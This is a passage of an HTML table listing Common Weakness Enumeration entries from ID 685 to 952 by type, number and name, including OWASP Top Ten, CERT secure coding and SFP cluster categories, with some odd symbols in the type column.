<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>--------------------------------------------------------</td>
</tr>
<tr>
<td>●</td>
<td>685</td>
<td>Function Call With Incorrect Number of Arguments</td>
</tr>
<tr>
<td>●</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
</tr>
<tr>
<td>●</td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
</tr>
<tr>
<td>●</td>
<td>688</td>
<td>Function Call With Incorrect Variable or Reference as Argument</td>
</tr>
<tr>
<td>●</td>
<td>689</td>
<td>Permission Race Condition During Resource Copy</td>
</tr>
<tr>
<td>●</td>
<td>690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
</tr>
<tr>
<td>●</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
</tr>
<tr>
<td>●</td>
<td>692</td>
<td>Incomplete Blacklist to Cross-Site Scripting</td>
</tr>
<tr>
<td>●</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
</tr>
<tr>
<td>●</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
</tr>
<tr>
<td>●</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
</tr>
<tr>
<td>●</td>
<td>696</td>
<td>Incorrect Behavior Order</td>
</tr>
<tr>
<td>●</td>
<td>697</td>
<td>Insufficient Comparison</td>
</tr>
<tr>
<td>●</td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
</tr>
<tr>
<td>●</td>
<td>699</td>
<td>Development Concepts</td>
</tr>
<tr>
<td>●</td>
<td>700</td>
<td>Seven Pernicious Kingdoms</td>
</tr>
<tr>
<td>●</td>
<td>701</td>
<td>Weaknesses Introduced During Design</td>
</tr>
<tr>
<td>●</td>
<td>702</td>
<td>Weaknesses Introduced During Implementation</td>
</tr>
<tr>
<td>●</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>●</td>
<td>704</td>
<td>Incorrect Type Conversion or Cast</td>
</tr>
<tr>
<td>●</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
</tr>
<tr>
<td>●</td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
</tr>
<tr>
<td>●</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
</tr>
<tr>
<td>●</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
</tr>
<tr>
<td>●</td>
<td>709</td>
<td>Named Chains</td>
</tr>
<tr>
<td>●</td>
<td>710</td>
<td>Coding Standards Violation</td>
</tr>
<tr>
<td>●</td>
<td>712</td>
<td>OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)</td>
</tr>
<tr>
<td>●</td>
<td>713</td>
<td>OWASP Top Ten 2007 Category A2 - Injection Flaws</td>
</tr>
<tr>
<td>●</td>
<td>714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
</tr>
<tr>
<td>●</td>
<td>715</td>
<td>OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference</td>
</tr>
<tr>
<td>●</td>
<td>716</td>
<td>OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>●</td>
<td>717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
</tr>
<tr>
<td>●</td>
<td>718</td>
<td>OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management</td>
</tr>
<tr>
<td>●</td>
<td>719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>●</td>
<td>720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
</tr>
<tr>
<td>●</td>
<td>721</td>
<td>OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access</td>
</tr>
<tr>
<td>●</td>
<td>722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
</tr>
<tr>
<td>●</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
</tr>
<tr>
<td>●</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
</tr>
<tr>
<td>●</td>
<td>725</td>
<td>OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws</td>
</tr>
<tr>
<td>●</td>
<td>726</td>
<td>OWASP Top Ten 2004 Category A5 - Buffer Overflows</td>
</tr>
<tr>
<td>●</td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
</tr>
<tr>
<td>●</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
</tr>
<tr>
<td>●</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
</tr>
<tr>
<td>●</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
</tr>
<tr>
<td>●</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
</tr>
<tr>
<td>●</td>
<td>732</td>
<td>Incorrect Permission Assignment for Critical Resource</td>
</tr>
<tr>
<td>●</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
</tr>
<tr>
<td>●</td>
<td>734</td>
<td>Weaknesses Addressed by the CERT C Secure Coding Standard</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>C</td>
<td>735</td>
<td>CERT C Secure Coding Section 01 - Preprocessor (PRE)</td>
</tr>
<tr>
<td>C</td>
<td>736</td>
<td>CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
</tr>
<tr>
<td>C</td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
</tr>
<tr>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
</tr>
<tr>
<td>C</td>
<td>739</td>
<td>CERT C Secure Coding Section 05 - Floating Point (FLP)</td>
</tr>
<tr>
<td>C</td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
</tr>
<tr>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
</tr>
<tr>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
</tr>
<tr>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
</tr>
<tr>
<td>C</td>
<td>744</td>
<td>CERT C Secure Coding Section 10 - Environment (ENV)</td>
</tr>
<tr>
<td>C</td>
<td>745</td>
<td>CERT C Secure Coding Section 11 - Signals (SIG)</td>
</tr>
<tr>
<td>C</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
</tr>
<tr>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
</tr>
<tr>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
</tr>
<tr>
<td>3</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
</tr>
<tr>
<td>W</td>
<td>750</td>
<td>Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
</tr>
<tr>
<td>C</td>
<td>751</td>
<td>2009 Top 25 - Insecure Interaction Between Components</td>
</tr>
<tr>
<td>C</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
</tr>
<tr>
<td>C</td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
</tr>
<tr>
<td>3</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
</tr>
<tr>
<td>3</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
</tr>
<tr>
<td>3</td>
<td>756</td>
<td>Missing Custom Error Page</td>
</tr>
<tr>
<td>3</td>
<td>757</td>
<td>Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')</td>
</tr>
<tr>
<td>3</td>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
</tr>
<tr>
<td>B</td>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
</tr>
<tr>
<td>B</td>
<td>760</td>
<td>Use of a One-Way Hash with a Predictable Salt</td>
</tr>
<tr>
<td>B</td>
<td>761</td>
<td>Free of Pointer not at Start of Buffer</td>
</tr>
<tr>
<td>B</td>
<td>762</td>
<td>Mismatched Memory Management Routines</td>
</tr>
<tr>
<td>B</td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
</tr>
<tr>
<td>B</td>
<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
</tr>
<tr>
<td>B</td>
<td>765</td>
<td>Multiple Unlocks of a Critical Resource</td>
</tr>
<tr>
<td>B</td>
<td>766</td>
<td>Critical Variable Declared Public</td>
</tr>
<tr>
<td>B</td>
<td>767</td>
<td>Access to Critical Private Variable via Public Method</td>
</tr>
<tr>
<td>B</td>
<td>768</td>
<td>Incorrect Short Circuit Evaluation</td>
</tr>
<tr>
<td>C</td>
<td>769</td>
<td>File Descriptor Exhaustion</td>
</tr>
<tr>
<td>B</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
<tr>
<td>B</td>
<td>771</td>
<td>Missing Reference to Active Allocated Resource</td>
</tr>
<tr>
<td>B</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
</tr>
<tr>
<td>B</td>
<td>773</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
</tr>
<tr>
<td>B</td>
<td>774</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling</td>
</tr>
<tr>
<td>B</td>
<td>775</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime</td>
</tr>
<tr>
<td>B</td>
<td>776</td>
<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
</tr>
<tr>
<td>B</td>
<td>777</td>
<td>Regular Expression without Anchors</td>
</tr>
<tr>
<td>B</td>
<td>778</td>
<td>Insufficient Logging</td>
</tr>
<tr>
<td>B</td>
<td>779</td>
<td>Logging of Excessive Data</td>
</tr>
<tr>
<td>W</td>
<td>780</td>
<td>Use of RSA Algorithm without OAEP</td>
</tr>
<tr>
<td>W</td>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
</tr>
<tr>
<td>W</td>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
</tr>
<tr>
<td>W</td>
<td>783</td>
<td>Operator Precedence Logic Error</td>
</tr>
<tr>
<td>W</td>
<td>784</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>-----------------------------------------------------------</td>
</tr>
<tr>
<td>V</td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
</tr>
<tr>
<td>B</td>
<td>786</td>
<td>Access of Memory Location Before Start of Buffer</td>
</tr>
<tr>
<td>B</td>
<td>787</td>
<td>Out-of-bounds Write</td>
</tr>
<tr>
<td>B</td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
</tr>
<tr>
<td>V</td>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
</tr>
<tr>
<td>C</td>
<td>790</td>
<td>Improper Filtering of Special Elements</td>
</tr>
<tr>
<td>B</td>
<td>791</td>
<td>Incomplete Filtering of Special Elements</td>
</tr>
<tr>
<td>V</td>
<td>792</td>
<td>Incomplete Filtering of One or More Instances of Special Elements</td>
</tr>
<tr>
<td>V</td>
<td>793</td>
<td>Only Filtering One Instance of a Special Element</td>
</tr>
<tr>
<td>B</td>
<td>794</td>
<td>Incomplete Filtering of Multiple Instances of Special Elements</td>
</tr>
<tr>
<td>B</td>
<td>795</td>
<td>Only Filtering Special Elements at a Specified Location</td>
</tr>
<tr>
<td>B</td>
<td>796</td>
<td>Only Filtering Special Elements Relative to a Marker</td>
</tr>
<tr>
<td>B</td>
<td>797</td>
<td>Only Filtering Special Elements at an Absolute Position</td>
</tr>
<tr>
<td>B</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>C</td>
<td>799</td>
<td>Improper Control of Interaction Frequency</td>
</tr>
<tr>
<td>V</td>
<td>800</td>
<td>Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
</tr>
<tr>
<td>C</td>
<td>801</td>
<td>2010 Top 25 - Insecure Interaction Between Components</td>
</tr>
<tr>
<td>C</td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
</tr>
<tr>
<td>C</td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
</tr>
<tr>
<td>B</td>
<td>804</td>
<td>Guessable CAPTCHA</td>
</tr>
<tr>
<td>B</td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
</tr>
<tr>
<td>B</td>
<td>806</td>
<td>Buffer Access Using Size of Source Buffer</td>
</tr>
<tr>
<td>B</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
</tr>
<tr>
<td>V</td>
<td>809</td>
<td>Weaknesses in OWASP Top Ten (2010)</td>
</tr>
<tr>
<td>C</td>
<td>810</td>
<td>OWASP Top Ten 2010 Category A1 - Injection</td>
</tr>
<tr>
<td>C</td>
<td>811</td>
<td>OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>C</td>
<td>812</td>
<td>OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management</td>
</tr>
<tr>
<td>C</td>
<td>813</td>
<td>OWASP Top Ten 2010 Category A4 - Insecure Direct Object References</td>
</tr>
<tr>
<td>C</td>
<td>814</td>
<td>OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>C</td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
</tr>
<tr>
<td>C</td>
<td>816</td>
<td>OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>C</td>
<td>817</td>
<td>OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access</td>
</tr>
<tr>
<td>C</td>
<td>818</td>
<td>OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection</td>
</tr>
<tr>
<td>C</td>
<td>819</td>
<td>OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards</td>
</tr>
<tr>
<td>B</td>
<td>820</td>
<td>Missing Synchronization</td>
</tr>
<tr>
<td>B</td>
<td>821</td>
<td>Incorrect Synchronization</td>
</tr>
<tr>
<td>B</td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
</tr>
<tr>
<td>B</td>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
</tr>
<tr>
<td>B</td>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
</tr>
<tr>
<td>B</td>
<td>825</td>
<td>Expired Pointer Dereference</td>
</tr>
<tr>
<td>B</td>
<td>826</td>
<td>Premature Release of Resource During Expected Lifetime</td>
</tr>
<tr>
<td>B</td>
<td>827</td>
<td>Improper Control of Document Type Definition</td>
</tr>
<tr>
<td>B</td>
<td>828</td>
<td>Signal Handler with Functionality that is not Asynchronous-Safe</td>
</tr>
<tr>
<td>C</td>
<td>829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
<tr>
<td>B</td>
<td>830</td>
<td>Inclusion of Web Functionality from an Untrusted Source</td>
</tr>
<tr>
<td>B</td>
<td>831</td>
<td>Signal Handler Function Associated with Multiple Signals</td>
</tr>
<tr>
<td>B</td>
<td>832</td>
<td>Unlock of a Resource that is not Locked</td>
</tr>
<tr>
<td>B</td>
<td>833</td>
<td>Deadlock</td>
</tr>
<tr>
<td>B</td>
<td>834</td>
<td>Excessive Iteration</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>🍚</td>
<td>835</td>
<td>Loop with Unreachable Exit Condition ('Infinite Loop')</td>
</tr>
<tr>
<td>🍚</td>
<td>836</td>
<td>Use of Password Hash Instead of Password for Authentication</td>
</tr>
<tr>
<td>🍚</td>
<td>837</td>
<td>Improper Enforcement of a Single, Unique Action</td>
</tr>
<tr>
<td>🍚</td>
<td>838</td>
<td>Inappropriate Encoding for Output Context</td>
</tr>
<tr>
<td>🍚</td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
</tr>
<tr>
<td>🍚</td>
<td>840</td>
<td>Business Logic Errors</td>
</tr>
<tr>
<td>🍚</td>
<td>841</td>
<td>Improper Enforcement of Behavioral Workflow</td>
</tr>
<tr>
<td>🍚</td>
<td>842</td>
<td>Placement of User into Incorrect Group</td>
</tr>
<tr>
<td>🍚</td>
<td>843</td>
<td>Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
<tr>
<td>🍚</td>
<td>844</td>
<td>Weaknesses Addressed by the CERT Java Secure Coding Standard</td>
</tr>
<tr>
<td>🍚</td>
<td>845</td>
<td>CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)</td>
</tr>
<tr>
<td>🍚</td>
<td>846</td>
<td>CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)</td>
</tr>
<tr>
<td>🍚</td>
<td>847</td>
<td>CERT Java Secure Coding Section 02 - Expressions (EXP)</td>
</tr>
<tr>
<td>🍚</td>
<td>848</td>
<td>CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)</td>
</tr>
<tr>
<td>🍚</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
</tr>
<tr>
<td>🍚</td>
<td>850</td>
<td>CERT Java Secure Coding Section 05 - Methods (MET)</td>
</tr>
<tr>
<td>🍚</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
</tr>
<tr>
<td>🍚</td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
</tr>
<tr>
<td>🍚</td>
<td>853</td>
<td>CERT Java Secure Coding Section 08 - Locking (LCK)</td>
</tr>
<tr>
<td>🍚</td>
<td>854</td>
<td>CERT Java Secure Coding Section 09 - Thread APIs (THI)</td>
</tr>
<tr>
<td>🍚</td>
<td>855</td>
<td>CERT Java Secure Coding Section 10 - Thread Pools (TPS)</td>
</tr>
<tr>
<td>🍚</td>
<td>856</td>
<td>CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)</td>
</tr>
<tr>
<td>🍚</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
</tr>
<tr>
<td>🍚</td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
</tr>
<tr>
<td>🍚</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
</tr>
<tr>
<td>🍚</td>
<td>860</td>
<td>CERT Java Secure Coding Section 15 - Runtime Environment (ENV)</td>
</tr>
<tr>
<td>🍚</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
</tr>
<tr>
<td>🍚</td>
<td>862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>🍚</td>
<td>863</td>
<td>Incorrect Authorization</td>
</tr>
<tr>
<td>🍚</td>
<td>864</td>
<td>2011 Top 25 - Insecure Interaction Between Components</td>
</tr>
<tr>
<td>🍚</td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
</tr>
<tr>
<td>🍚</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
</tr>
<tr>
<td>🍚</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
</tr>
<tr>
<td>🍚</td>
<td>868</td>
<td>Weaknesses Addressed by the CERT C++ Secure Coding Standard</td>
</tr>
<tr>
<td>🍚</td>
<td>869</td>
<td>CERT C++ Secure Coding Section 01 - Preprocessor (PRE)</td>
</tr>
<tr>
<td>🍚</td>
<td>870</td>
<td>CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
</tr>
<tr>
<td>🍚</td>
<td>871</td>
<td>CERT C++ Secure Coding Section 03 - Expressions (EXP)</td>
</tr>
<tr>
<td>🍚</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
</tr>
<tr>
<td>🍚</td>
<td>873</td>
<td>CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)</td>
</tr>
<tr>
<td>🍚</td>
<td>874</td>
<td>CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)</td>
</tr>
<tr>
<td>🍚</td>
<td>875</td>
<td>CERT C++ Secure Coding Section 07 - Characters and Strings (STR)</td>
</tr>
<tr>
<td>🍚</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
</tr>
<tr>
<td>🍚</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
</tr>
<tr>
<td>🍚</td>
<td>878</td>
<td>CERT C++ Secure Coding Section 10 - Environment (ENV)</td>
</tr>
<tr>
<td>🍚</td>
<td>879</td>
<td>CERT C++ Secure Coding Section 11 - Signals (SIG)</td>
</tr>
<tr>
<td>🍚</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
</tr>
<tr>
<td>🍚</td>
<td>881</td>
<td>CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)</td>
</tr>
<tr>
<td>🍚</td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
</tr>
<tr>
<td>🍚</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
</tr>
<tr>
<td>🍚</td>
<td>884</td>
<td>CWE Cross-section</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>C</td>
<td>885</td>
<td>SFP Primary Cluster: Risky Values</td>
</tr>
<tr>
<td>C</td>
<td>886</td>
<td>SFP Primary Cluster: Unused entities</td>
</tr>
<tr>
<td>C</td>
<td>887</td>
<td>SFP Primary Cluster: API</td>
</tr>
<tr>
<td>V</td>
<td>888</td>
<td>Software Fault Pattern (SFP) Clusters</td>
</tr>
<tr>
<td>C</td>
<td>889</td>
<td>SFP Primary Cluster: Exception Management</td>
</tr>
<tr>
<td>C</td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
</tr>
<tr>
<td>C</td>
<td>891</td>
<td>SFP Primary Cluster: Memory Management</td>
</tr>
<tr>
<td>C</td>
<td>892</td>
<td>SFP Primary Cluster: Resource Management</td>
</tr>
<tr>
<td>C</td>
<td>893</td>
<td>SFP Primary Cluster: Path Resolution</td>
</tr>
<tr>
<td>C</td>
<td>894</td>
<td>SFP Primary Cluster: Synchronization</td>
</tr>
<tr>
<td>C</td>
<td>895</td>
<td>SFP Primary Cluster: Information Leak</td>
</tr>
<tr>
<td>C</td>
<td>896</td>
<td>SFP Primary Cluster: Tainted Input</td>
</tr>
<tr>
<td>C</td>
<td>897</td>
<td>SFP Primary Cluster: Entry Points</td>
</tr>
<tr>
<td>C</td>
<td>898</td>
<td>SFP Primary Cluster: Authentication</td>
</tr>
<tr>
<td>C</td>
<td>899</td>
<td>SFP Primary Cluster: Access Control</td>
</tr>
<tr>
<td>V</td>
<td>900</td>
<td>Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors</td>
</tr>
<tr>
<td>C</td>
<td>901</td>
<td>SFP Primary Cluster: Privilege</td>
</tr>
<tr>
<td>C</td>
<td>902</td>
<td>SFP Primary Cluster: Channel</td>
</tr>
<tr>
<td>C</td>
<td>903</td>
<td>SFP Primary Cluster: Cryptography</td>
</tr>
<tr>
<td>C</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
</tr>
<tr>
<td>C</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
</tr>
<tr>
<td>C</td>
<td>906</td>
<td>SFP Primary Cluster: UI</td>
</tr>
<tr>
<td>C</td>
<td>907</td>
<td>SFP Primary Cluster: Other</td>
</tr>
<tr>
<td>B</td>
<td>908</td>
<td>Use of Uninitialized Resource</td>
</tr>
<tr>
<td>B</td>
<td>909</td>
<td>Missing Initialization of Resource</td>
</tr>
<tr>
<td>B</td>
<td>910</td>
<td>Use of Expired File Descriptor</td>
</tr>
<tr>
<td>B</td>
<td>911</td>
<td>Improper Update of Reference Count</td>
</tr>
<tr>
<td>C</td>
<td>912</td>
<td>Hidden Functionality</td>
</tr>
<tr>
<td>C</td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
</tr>
<tr>
<td>B</td>
<td>914</td>
<td>Improper Control of Dynamically-Identified Variables</td>
</tr>
<tr>
<td>B</td>
<td>915</td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
</tr>
<tr>
<td>B</td>
<td>916</td>
<td>Use of Password Hash With Insufficient Computational Effort</td>
</tr>
<tr>
<td>B</td>
<td>917</td>
<td>Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')</td>
</tr>
<tr>
<td>B</td>
<td>918</td>
<td>Server-Side Request Forgery (SSRF)</td>
</tr>
<tr>
<td>V</td>
<td>919</td>
<td>Weaknesses in Mobile Applications</td>
</tr>
<tr>
<td>B</td>
<td>920</td>
<td>Improper Restriction of Power Consumption</td>
</tr>
<tr>
<td>B</td>
<td>921</td>
<td>Storage of Sensitive Data in a Mechanism without Access Control</td>
</tr>
<tr>
<td>C</td>
<td>922</td>
<td>Insecure Storage of Sensitive Information</td>
</tr>
<tr>
<td>C</td>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
</tr>
<tr>
<td>C</td>
<td>924</td>
<td>Improper Enforcement of Message Integrity During Transmission in a Communication Channel</td>
</tr>
<tr>
<td>V</td>
<td>925</td>
<td>Improper Verification of Intent by Broadcast Receiver</td>
</tr>
<tr>
<td>V</td>
<td>926</td>
<td>Improper Export of Android Application Components</td>
</tr>
<tr>
<td>V</td>
<td>927</td>
<td>Use of Implicit Intent for Sensitive Communication</td>
</tr>
<tr>
<td>V</td>
<td>928</td>
<td>Weaknesses in OWASP Top Ten (2013)</td>
</tr>
<tr>
<td>C</td>
<td>929</td>
<td>OWASP Top Ten 2013 Category A1 - Injection</td>
</tr>
<tr>
<td>C</td>
<td>930</td>
<td>OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management</td>
</tr>
<tr>
<td>C</td>
<td>931</td>
<td>OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>C</td>
<td>932</td>
<td>OWASP Top Ten 2013 Category A4 - Insecure Direct Object References</td>
</tr>
<tr>
<td>C</td>
<td>933</td>
<td>OWASP Top Ten 2013 Category A5 - Security Misconfiguration</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>------</td>
</tr>
<tr>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
</tr>
<tr>
<td>C</td>
<td>935</td>
<td>OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control</td>
</tr>
<tr>
<td>C</td>
<td>936</td>
<td>OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>C</td>
<td>937</td>
<td>OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>C</td>
<td>938</td>
<td>OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards</td>
</tr>
<tr>
<td>C</td>
<td>939</td>
<td>Improper Authorization in Handler for Custom URL Scheme</td>
</tr>
<tr>
<td>C</td>
<td>940</td>
<td>Improper Verification of Source of a Communication Channel</td>
</tr>
<tr>
<td>C</td>
<td>941</td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
</tr>
<tr>
<td>C</td>
<td>942</td>
<td>Overly Permissive Cross-domain Whitelist</td>
</tr>
<tr>
<td>C</td>
<td>943</td>
<td>Improper Neutralization of Special Elements in Data Query Logic</td>
</tr>
<tr>
<td>C</td>
<td>944</td>
<td>SFP Secondary Cluster: Access Management</td>
</tr>
<tr>
<td>C</td>
<td>945</td>
<td>SFP Secondary Cluster: Insecure Resource Access</td>
</tr>
<tr>
<td>C</td>
<td>946</td>
<td>SFP Secondary Cluster: Insecure Resource Permissions</td>
</tr>
<tr>
<td>C</td>
<td>947</td>
<td>SFP Secondary Cluster: Authentication Bypass</td>
</tr>
<tr>
<td>C</td>
<td>948</td>
<td>SFP Secondary Cluster: Digital Certificate</td>
</tr>
<tr>
<td>C</td>
<td>949</td>
<td>SFP Secondary Cluster: Faulty Endpoint Authentication</td>
</tr>
<tr>
<td>C</td>
<td>950</td>
<td>SFP Secondary Cluster: Hardcoded Sensitive Data</td>
</tr>
<tr>
<td>C</td>
<td>951</td>
<td>SFP Secondary Cluster: Insecure Authentication Policy</td>
</tr>
<tr>
<td>C</td>
<td>952</td>
